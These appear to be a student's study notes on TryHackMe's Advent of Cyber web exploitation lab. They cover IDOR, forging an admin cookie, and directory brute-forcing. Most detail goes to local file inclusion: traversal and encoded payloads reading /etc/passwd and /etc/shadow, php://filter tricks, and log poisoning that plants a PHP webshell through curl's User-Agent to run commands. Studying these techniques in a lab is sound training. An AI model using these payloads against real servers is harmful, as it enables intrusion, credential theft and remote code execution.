TryHackMe - Advent of Cyber

25 days challenge to learn cybersecurity by TryHackMe from 1 Dec to 25 Dec 202

Web Exploitation

Day 1 : IDOR (Insecure direct object reference)

# Learnings

IDOR stands for Insecure Direct Object Reference and is a type of access control vulnerability. An access control vulnerability is when an attacker can gain access to information or actions not intended for them. An IDOR vulnerability can occur when a web server receives user-supplied input to retrieve objects (files, data, documents), and too much trust has been placed on that input data, and the web application does not validate whether the user should, in fact, have access to the requested object.

Locate user supplied data in 3 places:

• Query component (URL - http://website.com/profile?id=23)

Example : changing id =23 to id = 24

• Post variables - hidden field for id value in HTML etc.

• Cookies - usuaally encrypted string, can alter this value

Seeing a product, user, or service identifier in the URL or otherwise is a must to test. IDOR vulnerabilities can reveal sensitive information, as well as potentially giving you access to usually restricted site functionality.

HTTP Protocol

When an HTTP request is crafted, the method and target header will always be included. The target header will specify what to retrieve from the server, and the method header will specify how.

The protocol itself is only one small piece of the puzzle; once content is retrieved from the web server, your browser needs a way to interpret and render the information sent. Web applications are commonly formatted in HTML (HyperText Markup Language), rendered, and styled in CSS (Cascading Style Sheets). JavaScript is also commonly used to provide additional functionality.

Cookies

Authentication or session cookies are used to identify you and what access level is attached to your session.

Below is a diagram describing assigning and using a cookie from the initial request to the session request.

To begin the process, when you send a request such as a login request, your browser will send that information typically as a POST request to the webserver. The web server will verify that it received the data and set a unique cookie; as previously mentioned, cookies are arbitrary, and values are determined by best-practice or the web developer. Once the cookie is assigned, as long as the cookie stays locally stored in your browser, all future GET requests will be automatically sent with that cookie to identify you and your access level. Once the server receives your GET request and cookie, it will locate and de-serialize your session. Deserialization is the process of taking a data format such as JSON and rebuilding it as an object. If successful, the webserver will reply to your request with a 200 response.

- Cookie Components

Name and value are most of concern :

Name	Unique cookie identifier (arbitrarily set by web-server). Always paired with the value component.	SessionID
Value	Unique cookie value (arbitrarily set by web-server). Always paired with the name component	sty1z3kz11mpqxjv648mqwlx4ginpt6c
Domain	Originating domain of the cookie. Sets the scope of the cookie.	.tryhackme.com
Path	Local path to cookie. Sets the scope of the cookie.	/
Expires/Max-age	Date/time at which cookies expires	2022-11-11T15:39:04.166Z
Size	Disk size of the cookie in bytes. This is typically {Name+Value}	91
HttpOnly	Cookie cannot be accessed through client-side scripts	(indicated by a checkmark)
Secure	Cookie is only sent over HTTPS	(indicated by a checkmark)
SameSite	Specifies when a cookie is sent through cross-site requests	none
SameParty	Extends functionality of SameSite attribute to First-Party sets.	(indicated by a checkmark)
Priority	Defines the importance of a cookie. Determines whether it should be removed or held on to	High

- Cookie Manipulation

Cookie manipulation is possible because cookies are stored locally on your host system, meaning you have complete control over them and modify them as you please.

To begin modifying and manipulating cookies, we need to open our developer tools. In Google Chrome, developer tools are known as the "Chrome Developer Tools," and in Mozilla Firefox, they are known as the "Firefox Developer Tools."

use F12 or ctrl shift I

firefox > storage

chrome > application > cookies dropdown menu

Cookie values may seem random at first; however, they often have an encoded value or meaning behind them that can be decoded to a non-arbitrary value such as a Javascript object.

From an attacker's perspective, you can decode the cookie value to identify the underlying objects. Once you have identified the underlying objects, you can modify them to what you want. To use the cookie, you will need to encode it back to the original encoding and replace the cookie value. Below is an example of a decoded cookie value.

Below is a summary of how cookie values could be manipulated.

1. Obtain a cookie value from registering or signing up for an account.

2. Decode the cookie value.

3. Identify the object notation or structure of the cookie.

4. Change the parameters inside the object to a different parameter with a higher privilege level, such as admin or administrator.

5. Re-encode the cookie and insert the cookie into the value space; this can be done by double-clicking the value box.

6. Action the cookie; this can be done by refreshing the page or logging in.

Day 2 : Cookie basic manipulation

• register for new user > open cookies under application in inspect elements (chrome)

• hex decode the cookie

• edit username to admin > hex encode > replace cookie > reload webpage > Welcome :)

Day 3 : Web Content Discovery

Web server contains:

• Configuration files

• Passwords and secrets

• Backups

• Content management systems

• Administrator dashboards or portals

dirb http://santascookies.thm/ /usr/share/wordlists/mywordlist.txt

Collection of wordlists 👍https://github.com/danielmiessler/SecLists

Day 6 : Local file inclusion

Recommended tools for web exploit : OWASP zap, Burp suite

An LFI vulnerability is found in various web applications. As an example, in the PHP, the following functions cause this kind of vulnerability:

• include

• require

• include_once

• require_once

It is a web application vulnerability that allows the attacker to include and read local files on the server. These files could contain sensitive data such as cryptographic keys, databases that contain passwords, and other private data

The main issue of these vulnerabilities is the lack of input validation, in which the user inputs are not sanitized or validated, and the user controls them.

• also possible to chain LFI to perform RCE on the server.

# Takeaways from HuskyHacks

# Identifying and Testing for LFI

• CHECK http get OR post Requests or URL

• example : http:// ... /index.php?err=error.txt

  • server backend is running php is running the err parameter, and we can fill in this parameter with our own value

  • try replacing this value with something else, see the below example

Replacing err=error.txt with err=asdasdasd

# Directory Transversal

what if we replace err=error.txt with err=../../../../../../error.txt ?

• ../ brings us one level up in the directory

• spamming multiple ../ will bring us up the levels till we hit the root directory for sure

• we can always begin with err=../../../../../../../../etc/passwd

This gives us the whole bunch of user information (look for bin/bash shell, which shows that the user has an interactive shell)

• example of code vulnerable to LFI :

<?PHP 
	include($_GET["file"]);
?>

The PHP code above uses a GET request via the URL parameter file to include the file on the page. The request can be made by sending the following HTTP request: http://example.thm.labs/index.php?file=welcome.txt to load the content of the welcome.txt file that exists in the same directory.

In addition, other entry points can be used depending on the web application, and where can consider the User-Agent, Cookies, session, and other HTTP headers.

- Target files with sensitive information to gun for :

The following are some Linux system files that have sensitive information.

/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts  - file that stores a name with an IP address for machine to rmbr (local host 127.0.0.1)      
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline

Number one to test is always /etc/passwd (readable file)

We can also try to include using different techniques such as

• A direct file inclusion, which starts with /etc/passwd

• using .. to get out the current directory, the number of .. is varies depending on the web app directory.

• Bypassing filters using ....//.

• URL encoding techniques (such as double encoding)

  http://example.thm.labs/page.php?file=/etc/passwd http://example.thm.labs/page.php?file=../../../../../../etc/passwd http://example.thm.labs/page.php?file=../../../../../../etc/passwd%00 http://example.thm.labs/page.php?file=....//....//....//....//etc/passwd http://example.thm.labs/page.php?file=%252e%252e%252fetc%252fpasswd

TLL

when you ping a linux server, look for ttl=64 this proves it is a linux server. (ttl values for windows is different)

TTL (Time To Live) is a timer value included in packets sent over networks that tells the recipient how long to hold or use the packet before discarding and expiring the data (packet). TTL values are different for different Operating Systems. So, you can determine the OS based on the TTL value. You can get the TTL value by pinging an address.

• windows usually ttl=128

• Linux usually ttl=64 or 255

tlll comparison

- PHP Filter

The PHP filter wrapper is used in LFI to read the actual PHP page content. In typical cases, it is not possible to read a PHP file's content via LFI because PHP files get executed and never show the existing code. However, we can use the PHP filter to display the content of PHP files in other encoding formats such as base64 or ROT13.

Let's try first reading the /etc/passwd file using the PHP filter wrapper.

  http://example.thm.labs/page.php?file=php://filter/resource=/etc/passwd

Now try to read the index.php file using a PHP filter; we get errors because the web server tries to execute the PHP code. To avoid this, we can use a PHP filter while base64 or ROT13 encoding the output as follows:

//
The important part is :
file=php://filter/convert.base64-encode/resource= FILL IN HERE

http://example.thm.labs/page.php?file=filter/read=string.rot13/resource=/etc/passwd 
http://example.thm.labs/page.php?file=php://filter/convert.base64-encode/resource=/etc/passwd          

We will try to use base64 for our scenario. As a result, we will get base64 encoded output as follows:

cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDox******Deleted

- includes/creds.php : Task for TryHackMe

Note that we can see an includes/creds.php file, we try insert that into the index.php position and recieve the below :

After logging into McSkidy's account, we view the logs using logs.php substitution for the subdomain :

- LFI to Remote Code Execution using Log Poisoning

PHP code in User-Agent

• malicious payload files such as Apache, SSH etc.

• LFI used to request the page with malicious payload

• Example : Apache log file --> payload in User-Agent or HTTP headers | SSH : Payload in username section

• logs.php

• The User-Agent is an HTTP header that includes the user's browser information to let servers identify the type of operating system, vendor, and version. The User-Agent is one of the HTTP headers that the user can control. Therefore, in order to get the RCE, you need to include PHP code into User-Agent and send a request to the log file using the LFI to execute in the browser.

user@machine$ curl -A "This is testing" http://10-10-204-108.p.thmlabs.com/login.php
OR
http://IP address.com/login.php            

Once we send the HTTP request using curl, now using a registered user, we can check the log page to see if we can add the User-Agent that we sent.

user@machine$ curl -A "<?php phpinfo();?>" http://10-10-204-108.p.thmlabs.com/login.php         

Now using the LFI, load the log file to get the PHP code executed. Note that it is important to visit the log file via LFI. Once you call the log file, we see the PHP information page.

Here we can see the PHP script worked as there is NO USER-AGENT RECORDED for this record.

• now go back to our err file entry point, now change the URL to includes/logs/app_access.log (given by TryHackMe)

- The answer : Server name is in phpinfo

• now try with real backdoor PHP code

curl -A "testing this is davin <?php echo 'hehehe im in mofos';system(\$_GET['cmd']);?>"         
http://10.10.213.91/index.php

• now use LFI

  • first do directory transversal to root level (../../../../../ spam)

  • next go to WEB ROOT, usually in var/www/html

  • now include the log given (includes/logs/app_access.log)

- Review

test for LFI in URL > includes/creds.php to view McSkidy's login credentials > login > PHP code into curl -A > go back to LFI entry point and load the logs file + php code

• PHP sessions are the files within the OS storing temporary information. After user logs out, PHP session info is deleted.

• Read PHP config file

• Depending on php config file, the PHP sessions are stored in different locations, including :

  • /tmp/

  • /var/lib/php5

  • /var/lib/php/session

• Find the location of these files and alter the session value!

To find the PHP session file name, PHP, by default uses the following naming scheme, sess_<SESSION_ID> where we can find the SESSION_ID using the browser and verifying cookies sent from the server.

To find the session ID in the browser, you can open the developer tools (SHIFT+CTRL+I), then the Application tab. From the left menu, select Cookies and select the target website. There is a PHPSESSID and the value. In my case, the value is vc4567al6pq7usm2cufmilkm45. Therefore, the file will be as sess_vc4567al6pq7usm2cufmilkm45. Finally, we know it is stored in /tmp. Now we can use the LFI to call the session file.